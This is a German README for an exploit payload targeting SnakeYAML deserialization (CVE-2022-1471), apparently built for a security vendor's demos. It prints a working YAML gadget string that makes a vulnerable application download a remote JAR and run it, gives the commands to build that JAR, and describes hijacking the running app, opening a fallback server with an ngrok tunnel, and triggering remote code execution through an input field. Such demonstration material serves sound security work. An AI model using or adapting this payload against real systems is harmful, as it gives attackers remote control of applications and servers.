
SnakeYAML CVE-2022-1471 Exploit-Payload für Seal Security-Demos
Ein SnakeYAML-Deserialisierungs-Exploit-Payload für CVE-2022-1471, adaptiert von artsploit/yaml-payload (ursprünglich basierend auf mbechler/marshalsec).
Wenn es über SnakeYAMLs unsicheres Yaml.load() geladen wird, übernimmt dieses Payload die laufende Anwendung und ersetzt sie durch eine „You've Been PWNED"-Seite:
Wenn die Tomcat-Valve-Injektion nicht verfügbar ist (z. B. bei einer Nicht-Spring-App), fällt es auf einen eigenständigen HTTP-Server auf Port 9999 zurück und erstellt automatisch einen ngrok-Tunnel, falls ngrok läuft.
Dies funktioniert sowohl lokal auf macOS als auch in CI/CD-Pipelines (z. B. GitHub Actions auf Ubuntu).
Das SnakeYAML-Payload löst ScriptEngineManager über das Java-SPI (Service Provider Interface) aus:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
java.net.URL, das auf die yaml-payload.jar dieses Repos verweistURLClassLoader, um entfernte Klassen zu ladenScriptEngineManager erkennt und lädt AwesomeScriptEngineFactory über META-INF/services/javax.script.ScriptEngineFactory/ durch die PWNED-SeiteErfordert JDK 17+:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
Wird als Exploit-Payload im Projekt maven-demo verwendet. Fügen Sie die Payload-Zeichenkette in das Namensfeld der App ein, um RCE auszulösen. Die Seite der App wird bei der nächsten Anfrage durch die PWNED-Seite ersetzt. Vollständige Demo-Anweisungen finden Sie in der README dieses Repos.